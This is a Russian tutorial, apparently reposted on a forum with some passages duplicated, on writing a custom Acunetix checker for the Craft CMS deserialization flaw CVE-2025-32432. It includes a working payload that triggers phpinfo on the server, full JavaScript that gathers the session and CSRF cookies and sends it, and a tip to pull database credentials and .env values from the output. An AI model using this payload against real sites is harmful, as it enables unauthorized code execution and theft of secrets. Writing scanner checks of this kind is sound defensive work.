stihl не предоставил(а) никакой дополнительной информации.
Давай разберемся, как писать кастомные сканеры для Acunetix, на примере реальной CVE. От тебя потребуются только небольшие познания в JavaScript или TypeScript и желание сделать что‑то интересное. Внутри — эксклюзив, выстраданный потом и кровью.
Acunetix, он же «Окунь», — один из самых мощных сканеров безопасности. Люблю его за возможность одновременного сканирования до 25 таргетов и за широкий набор чекеров. Но охватить все невозможно, тем более если у тебя в руках собственная 0-day-уязвимость.
Я, конечно, не спалю 0-day, но поработаем с интересной уязвимостью, которая позволит раскрыть несколько скрытых и недокументированных механизмов в создании своих чекеров. Речь о Для просмотра ссылки Войдиили Зарегистрируйся, опасной дыре, которая позволяет хакеру легко получить RCE.
C:\ProgramData\Acunetix\shared\custom-scripts\
В Linux:
Там же можно найти и демофайлы, которые дадут базовое понимание структуры чекеров.
Кастомные чекеры представляют собой обычные файлы JavaScript, написанные по определенным принципам. В структуре файлов Acunetix есть две специализированные папки: target и httpdata. Лежат они прямо в custom-scripts. Нас интересует первая. Скрипты в target выполняются один раз на каждом таргете — это часть активного сканирования, когда мы формируем дополнительные запросы.
Чтобы интегрировать твой код в инфраструктуру Acunetix, разработчики предоставили три объекта:
Нам с тобой придется пройти трудный путь, чтобы решить поставленную задачу. Специально продемонстрирую не лучшее решение, чтобы показать свою логику и объяснить на примере детали.
или Зарегистрируйся. Это уязвимость десериализации в Craft CMS, которая легко раскручивается в полноценный Remote Code Execution.
или Зарегистрируйся. Обрати внимание, что тебе нужна именно 4.13.1.1. Без последней единички, указывающей на патч, ты столкнешься с ошибками при попытке установки.
Собери в Docker проект на базе образа php:8.2-apache в качестве веб‑сервера и mysql:8.0 — для базы данных. Подключись к контейнеру web. Установи в контейнер web композер и скачай указанный выше архив. Выполни composer install, чтобы подтянулись зависимости. Установка CMS выполняется через CLI, командой php craft install. Никаких действий для настройки самой Craft CMS не требуется.
Убедись, что веб‑интерфейс открывается. В моем случае это Для просмотра ссылки Войдиили Зарегистрируйся.
Приветственный экран Craft CMS
Давай добавим таргет и просканируем в Full-режиме. Убедимся, что «Окунь» не видит уязвимости и есть смысл написать кастомный чекер.
Тестовое сканирование, чтобы убедиться, что «Окунь» не видит CVE
Acunetix не нашел серьезных проблем, при том что CVE-2025-32432 точно есть!
Это эндпоинт для трансформации изображений. Легитимный запрос должен передать идентификатор assetId и данные о необходимой трансформации. В ответ приходит объект со ссылкой на измененное изображение.
При атаке хакеры используют особенности фреймворка Yii2. Уязвимый механизм называется behaviors, с его помощью классу можно навязать поведение другого класса. Для примера посмотри на тестовый пейлоад:
Схема нормальной работы уязвимого endpoint
Вместо того чтобы отправить данные для трансформации, хакер шлет незнакомую для Craft CMS конструкцию. Из‑за того что входящие значения недостаточно хорошо проверяются, вместо строки можно подсунуть объект. Конструктор класса, увидев этот объект, запускает механизм behaviors: создастся объект GuzzleHttp\\Psr7\\FnStream и колбэком получит функцию phpinfo.
Вновь созданный объект понимает, что ему делать нечего, и тут же удаляется, вызывая деструктор. Деструктор вызывает колбэк, который был передан через _fn_close, то есть phpinfo. Это позволяет хакеру увидеть подробную информацию о настройках PHP и среды исполнения.
Следующим запросом можно вызвать RCE, но это уже эксплуатация, а нас сейчас интересуют скрипты для проверки, поэтому достаточно будет поискать в ответе «PHP Version».
Схема атаки на Craft CMS
Запрос к дашборду
Запрос к странице логина в админку. Получение CSRF-токена
Слишком легко! Пойдем путем бессонных ночей с битьем головой о клавиатуру и полным непониманием происходящего. Сложный путь не просто покажет разницу в двух запросах, а раскроет некоторые особенности написания чекеров для Acunetix.
Любой адекватный человек предположил бы, что достаточно выполнить обычный запрос через job, как это принято в Acunetix: job помещается в общую очередь и выполняется, когда настает подходящий момент. Получив ответ, парсишь результат, и все.
Код выше правильный, но результата не даст… Первая особенность в том, что никакой редирект не сработает, если это прямо не указать в настройках job. Сделать это можно, задав job.autoRedirect = true. Добавь в код перед выполнением запроса, и токен будет парситься.
Ну что, готов открыть бутылку шампанского, чтобы отпраздновать победу? Наивен прямо как я, когда первый раз попытался написать чекер серьезного уровня. Acunetix полон сюрпризов. Если внимательно посмотришь любые PoC для CVE-2025-32432, увидишь, что все запросы проходят через сессию.
В скринах из Burp видно, что при обращении к дашборду к сессии прилипает кука CraftSessionId. Второй запрос добавляет куку CRAFT_CSRF_TOKEN. Без этих двух кук атакующий запрос не опаснее дворового котенка. Махай перед Craft CMS своим токеном сколько хочешь, не пропустит. В ответ будет прилетать статус 400.
Просто изменить URI и метод у job не получится. Предполагается, что http.job не переиспользуется. Под каждый запрос нужно создавать новый и в него загружать куки. Но при редиректе получится вытащить только куку из последнего запроса, первая останется где‑то в кулуарах памяти.
Можешь заставить скрипт использовать куки, которые уже нарыл движок. Включи две опции:
У такого решения есть один серьезный минус. Из‑за большого потока запросов токен или куки могут устареть. На выходе получится чекер, который срабатывает один раз из десяти. Используй этот вариант, когда нет жесткой привязки.
Стабильный рабочий вариант — выполнить каждый запрос отдельно с сохранением кук. Для этого создай отдельную функцию под GET-запросы и выполни их последовательно:
Добавление нового профиля сканирования
Все готово для тестирования! Создай сканирование для нашего таргета, укажи созданный кастомный профиль.
Уязвимость найдена
Коллега, все получилось. Чекер успешно обнаружил уязвимость. Давай глянем на нее поближе, чтобы понять, куда разлетелись данные, переданные в addVuln().
Для просмотра ссылки Войдиили Зарегистрируйся
Кастомный чекер всегда будет выглядеть так: Confidence — 95%, Severity — High.
Текстовое описание
Текстовое описание на месте. Можешь добавить больше полезного текста, например поискать креды от базы данных и значения из .env.
Экран Request/Response
Атакующий запрос и ответ тоже на месте. Не всегда есть смысл добавлять, но штука полезная.
Теперь Acunetix в твоих руках станет еще полезнее. Я планирую вернуться к нему в следующих статьях. Если хочешь, чтобы я рассказал о чем‑то конкретном, пиши в комментариях!
Acunetix, он же «Окунь», — один из самых мощных сканеров безопасности. Люблю его за возможность одновременного сканирования до 25 таргетов и за широкий набор чекеров. Но охватить все невозможно, тем более если у тебя в руках собственная 0-day-уязвимость.
Я, конечно, не спалю 0-day, но поработаем с интересной уязвимостью, которая позволит раскрыть несколько скрытых и недокументированных механизмов в создании своих чекеров. Речь о Для просмотра ссылки Войди
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Как работают кастомные чекеры
Путь к папке с кастомными скриптами в Windows обычно выглядит так:C:\ProgramData\Acunetix\shared\custom-scripts\
В Linux:
/home/acunetix/.acunetix/data/custom-scripts/
Там же можно найти и демофайлы, которые дадут базовое понимание структуры чекеров.
Кастомные чекеры представляют собой обычные файлы JavaScript, написанные по определенным принципам. В структуре файлов Acunetix есть две специализированные папки: target и httpdata. Лежат они прямо в custom-scripts. Нас интересует первая. Скрипты в target выполняются один раз на каждом таргете — это часть активного сканирования, когда мы формируем дополнительные запросы.
info
В папке httpdata — скрипты, относящиеся к пассивному сканированию, когда у нас есть возможность «доразведать» ответы на запросы, сделанные другими чекерами. Эти чекеры выполняются при получении каждого response. О них поговорим в другой раз.Чтобы интегрировать твой код в инфраструктуру Acunetix, разработчики предоставили три объекта:
- scriptArg — контекст вызова скрипта. Внутри три объектных свойства, из которых можно узнать информацию о таргете: location, target, http. Например, location.url даст полную ссылку на объект, а target.ip покажет IP-адрес. Объект http сообщает информацию о контексте взаимодействия с таргетом и относится к пассивному сканированию. Например, свойство http.response может выглядеть так: HTTP/1.1 200 OK;
- scanState — объект, позволяющий взаимодействовать с состоянием сканирования. Обладает широким набором функций, но использовать будем в основном addVuln(vulnDesckObject);
- ax — интерфейс, который предоставляет функции и типы для работы с HTTP-запросами, логированием и интеграцией результатов скрипта в отчет сканера. Например, при помощи ax.http.job() создается HTTP-задача, а ax.http.execute(job) добавляет запрос в очередь движка Acunetix.
Нам с тобой придется пройти трудный путь, чтобы решить поставленную задачу. Специально продемонстрирую не лучшее решение, чтобы показать свою логику и объяснить на примере детали.
info
Acunetix при любом профиле сканирования проходит три этапа: Discovery, Analysis, Testing. Discovery — по факту краулинг, он может сильно затянуть процесс. Учитывай это. Если нужен быстрый чекер, который пробежит по списку таргетов, лучше написать его на Python. Найденные уязвимости всегда можно добавить через Acunetix API. Чекеры пиши для рутинной работы или обучения.
Пишем чекер для CVE-2025-32432
Теории много, давай писать первый полезный скрипт. Будем чекать Для просмотра ссылки ВойдиМашина для тестов
Для тестов можно скачать, например, версию Для просмотра ссылки ВойдиСобери в Docker проект на базе образа php:8.2-apache в качестве веб‑сервера и mysql:8.0 — для базы данных. Подключись к контейнеру web. Установи в контейнер web композер и скачай указанный выше архив. Выполни composer install, чтобы подтянулись зависимости. Установка CMS выполняется через CLI, командой php craft install. Никаких действий для настройки самой Craft CMS не требуется.
Убедись, что веб‑интерфейс открывается. В моем случае это Для просмотра ссылки Войди

Давай добавим таргет и просканируем в Full-режиме. Убедимся, что «Окунь» не видит уязвимости и есть смысл написать кастомный чекер.

Acunetix не нашел серьезных проблем, при том что CVE-2025-32432 точно есть!
Подробности о CVE
Уязвимый путь:/index.php?p=admin/actions/assets/generate-transform
Это эндпоинт для трансформации изображений. Легитимный запрос должен передать идентификатор assetId и данные о необходимой трансформации. В ответ приходит объект со ссылкой на измененное изображение.
При атаке хакеры используют особенности фреймворка Yii2. Уязвимый механизм называется behaviors, с его помощью классу можно навязать поведение другого класса. Для примера посмотри на тестовый пейлоад:
Код:
{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
}
info
Изучая уязвимость, ты найдешь рекомендацию подобрать верный assetId. Мои тесты показали, что это не имеет смысла. Просто шли какой‑то разумный вариант, например одиннадцать.
Вместо того чтобы отправить данные для трансформации, хакер шлет незнакомую для Craft CMS конструкцию. Из‑за того что входящие значения недостаточно хорошо проверяются, вместо строки можно подсунуть объект. Конструктор класса, увидев этот объект, запускает механизм behaviors: создастся объект GuzzleHttp\\Psr7\\FnStream и колбэком получит функцию phpinfo.
Вновь созданный объект понимает, что ему делать нечего, и тут же удаляется, вызывая деструктор. Деструктор вызывает колбэк, который был передан через _fn_close, то есть phpinfo. Это позволяет хакеру увидеть подробную информацию о настройках PHP и среды исполнения.
Следующим запросом можно вызвать RCE, но это уже эксплуатация, а нас сейчас интересуют скрипты для проверки, поэтому достаточно будет поискать в ответе «PHP Version».

Кодим
Начать стоит с получения CSRF-токена, который в дальнейшем будем передавать в заголовке X-CSRF-Token, иначе магии не получится. Если посмотреть proof of concept для этой CVE, сначала выполняется запрос URL /web/index.php?p=admin/dashboard. В ответ прилетает редирект на /web/admin/login, откуда берется готовый токен. Вопрос: почему сразу не обратиться к последнему адресу? Можно пойти легким путем, пройдя маршрут в Burp и сравнив разницу в ответах.

Слишком легко! Пойдем путем бессонных ночей с битьем головой о клавиатуру и полным непониманием происходящего. Сложный путь не просто покажет разницу в двух запросах, а раскроет некоторые особенности написания чекеров для Acunetix.
warning
Никаких дебагеров нет. Единственный возможный способ узнать, как сработал скрипт, — это запустить сканирование с выводом в лог контрольных значений. В среднем скан пустой Craft CMS занимает от трех до семи минут. Учитывай это при тестах.Любой адекватный человек предположил бы, что достаточно выполнить обычный запрос через job, как это принято в Acunetix: job помещается в общую очередь и выполняется, когда настает подходящий момент. Получив ответ, парсишь результат, и все.
Код:
let dashboardUrl = "/web/index.php?p=admin/dashboard";
// Создание нового http.job, который позволит выполнить запрос
let job = ax.http.job();
// Назначение хоста и порта из контекста
job.hostname = scriptArg.target.host;
job.port = scriptArg.target.port;
// HTTPS или HTTP
job.secure = scriptArg.target.secure;
// Конкретный адрес запроса
job.request.uri = dashboardUrl;
// Поставить запрос в очередь, выполнить синхронно
ax.http.execute(job).sync();
// Если случилась ошибка, добавить запись в лог
if (job.error) {
// Уровни лога: LogLevelInfo, LogLevelWarning, LogLevelError
ax.log(ax.LogLevelError, [CVE32432] Request failed: ${job.error.message || 'Unknown error'});
return false;
} else {
const tokenMatch = job.response.body.match(/name="CRAFT_CSRF_TOKEN"\s+value="([^"]+)"/i);
if (!tokenMatch || !tokenMatch[1]) {
ax.log(ax.LogLevelError, "[CVE32432] CSRF token not found in response");
ax.log(ax.LogLevelDebug, [CVE32432] Response sample (200 chars): ${job.response.body.substring(0, 200)}...);
} else {
const csrfToken = tokenMatch[1];
// <код POST-запроса и поиска результатов phpinfo>
}
}
warning
Для запросов можешь использовать только http.job. Fetch и XmlHttpRequest даже незнакомы движку, что позволяет избежать тонких моментов с наслоением и потерей запросов.Код выше правильный, но результата не даст… Первая особенность в том, что никакой редирект не сработает, если это прямо не указать в настройках job. Сделать это можно, задав job.autoRedirect = true. Добавь в код перед выполнением запроса, и токен будет парситься.
Ну что, готов открыть бутылку шампанского, чтобы отпраздновать победу? Наивен прямо как я, когда первый раз попытался написать чекер серьезного уровня. Acunetix полон сюрпризов. Если внимательно посмотришь любые PoC для CVE-2025-32432, увидишь, что все запросы проходят через сессию.
В скринах из Burp видно, что при обращении к дашборду к сессии прилипает кука CraftSessionId. Второй запрос добавляет куку CRAFT_CSRF_TOKEN. Без этих двух кук атакующий запрос не опаснее дворового котенка. Махай перед Craft CMS своим токеном сколько хочешь, не пропустит. В ответ будет прилетать статус 400.
Просто изменить URI и метод у job не получится. Предполагается, что http.job не переиспользуется. Под каждый запрос нужно создавать новый и в него загружать куки. Но при редиректе получится вытащить только куку из последнего запроса, первая останется где‑то в кулуарах памяти.
Можешь заставить скрипт использовать куки, которые уже нарыл движок. Включи две опции:
Код:
job.defaultSession = true;
job.sessionHeaders = false;
Стабильный рабочий вариант — выполнить каждый запрос отдельно с сохранением кук. Для этого создай отдельную функцию под GET-запросы и выполни их последовательно:
Код:
function makeGETRequest(url, headers) {
// Создай job, отключи редирект и работу с сессиями скана
let _job = ax.http.job();
_job.hostname = scriptArg.target.host;
_job.port = scriptArg.target.port;
_job.secure = scriptArg.target.secure;
_job.autoRedirect = true;
_job.defaultSession = false;
_job.sessionHeaders = false;
// Циклом добавь заголовки, если есть. Это нужно для второго запроса, чтобы добавить куку от первого и сохранить связь с сессией
for (header in headers) {
_job.request.addHeader(header, headers[header]);
}
_job.request.uri = url;
// Для удобства выведи в лог момент запроса
ax.log(ax.LogLevelInfo, [CVE32432] Sending request to: ${url});
ax.http.execute(_job).sync();
// Про проверку на ошибки ты уже знаешь…
if (_job.error) {
ax.log(ax.LogLevelError, [CVE32432] Request failed: ${job.error.message || 'Unknown error'});
return false;
}
// Получи куки запроса через responseCookies, передав объект ответа response
let cookies = ax.http.responseCookies(_job.response);
ax.log(ax.LogLevelInfo, Cookie SESSION ID: ${cookies[0]});
// Перед возвратом декодируй куку и обрежь все лишнее: path= и так далее
return {response: _job.response, cookies: decodeURI(cookies[0]).split(';')[0]};
}
// Оба адреса заранее известны, поэтому проще их объявить сразу, чем перегружать код парсингами и прочим
let dashboardUrl = "/web/index.php?p=admin/dashboard";
let loginUrl = "/web/admin/login";
// Надеюсь, деструктуризация не вызовет у тебя проблем? Два запроса, и все данные у тебя в руках
let {_, cookies: craftSessIdCookies} = makeGETRequest(dashboardUrl);
let {response, cookies: csrfTokenCookies} = makeGETRequest(loginUrl, {'Cookie': craftSessIdCookies});
// Проще и быстрее вытащить значение регуляркой
const tokenMatch = response.body.match(/name="CRAFT_CSRF_TOKEN"\s+value="([^"]+)"/i);
if (!tokenMatch || !tokenMatch[1]) {
ax.log(ax.LogLevelError, "[CVE32432] CSRF token not found in response");
ax.log(ax.LogLevelDebug, [CVE32432] Response sample (200 chars): ${response.body.substring(0, 200)}...);
} else {
const csrfToken = tokenMatch[1];
// Финишная прямая, осталось дописать только эту функцию
checkVuln(csrfToken, craftSessIdCookies, csrfTokenCookies);
}
info
Для получения адреса редиректа можно использовать job.response.redirectLocation() и дальше парсить в URL через ax.http.parse().
Теперь скрипт будет работать стабильнее. Для завершения чекера нужно выполнить POST-запрос и поискать в нем два значения: «PHP Version» и «PHP License». Проверка сразу двух строк дает больший шанс того, что перед нами именно результат работы phpinfo.
Код:
function checkVuln(csrfToken, sessionCookie, csrfCookie) {
// Уже узнаешь код?
let _job = ax.http.job();
_job.hostname = scriptArg.target.host;
_job.port = scriptArg.target.port;
_job.autoRedirect = true;
_job.defaultSession = false;
_job.sessionHeaders = false;
_job.secure = scriptArg.target.secure;
// Адрес атаки
let checkUrl = "/web/index.php?p=admin/actions/assets/generate-transform";
// Пейлоад не требует изменений, работает безупречно
let checkBody = {
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
};
_job.request.uri = checkUrl;
// Не забудь, что это POST-запрос
_job.request.method = 'POST';
// JSON стоит свернуть в строку перед тем, как положить в тело
_job.request.body = JSON.stringify(checkBody);
// Добавь заголовки, за которыми была такая длинная охота…
_job.request.addHeader("Content-Type", "application/json");
_job.request.addHeader("X-CSRF-Token", csrfToken);
_job.request.addHeader('Cookie', ${sessionCookie};${csrfCookie});
ax.http.execute(_job).sync();
if (_job.error) {
ax.log(ax.LogLevelError, [CVE32432] Request failed: ${_job.error.message || 'Unknown error'});
return false;
}
// Ответ прилетит со статусом 500, нет смысла проверять _job.response.status == 200
// Сразу ищи то, что прямо укажет на работу PHPINFO
if (_job.response.body.includes("PHP Version") && _job.response.body.includes("PHP License")) {
// Так добавляется найденная уязвимость:
// custom.xml — неизменная часть
// location — точка инъекции
// details — сюда можно напарсить важных значений из phpinfo, для удобства
// http — необязательный параметр, но, если его указать, в описании ошибки появится вывод Request/Response, что очень полезно
scanState.addVuln({
typeId: 'custom.xml',
location: scriptArg.location,
details: CVE-2025-32432 DETECTED,
http: _job
});
}
}
info
Учитывай ограничения, накладываемые на сканеры. Проверка происходит в изолированной среде, поэтому не выйдет получить доступ к локальным файлам или запустить какое‑то стороннее ПО. Словари, бинарные объекты и прочее нужно хранить в самом скрипте. Чекер должен быть самодостаточным.
Ставим и запускаем чекер
Перейди в Scan Profiles, нажми Add New Profile, укажи понятное имя и выбери Custom Scripts. К сожалению, выбрать конкретные кастомные скрипты для профиля сканирования не получится. Либо все сразу, либо ни одного.
Все готово для тестирования! Создай сканирование для нашего таргета, укажи созданный кастомный профиль.

Коллега, все получилось. Чекер успешно обнаружил уязвимость. Давай глянем на нее поближе, чтобы понять, куда разлетелись данные, переданные в addVuln().
Для просмотра ссылки Войди
Кастомный чекер всегда будет выглядеть так: Confidence — 95%, Severity — High.

Текстовое описание на месте. Можешь добавить больше полезного текста, например поискать креды от базы данных и значения из .env.

Атакующий запрос и ответ тоже на месте. Не всегда есть смысл добавлять, но штука полезная.
Выводы
Давай подведем итоги. Ты познакомился с уязвимостью десериализации CVE-2025-32432 в Craft CMS, написал для Acunetix полезный чекер, который смело можно использовать в своем арсенале, и узнал о некоторых нюансах запросов при разработке кастомных чекеров: редиректы нужно включать, можно использовать уже нарытые куки и данные сессий, но есть шанс обжечься.Теперь Acunetix в твоих руках станет еще полезнее. Я планирую вернуться к нему в следующих статьях. Если хочешь, чтобы я рассказал о чем‑то конкретном, пиши в комментариях!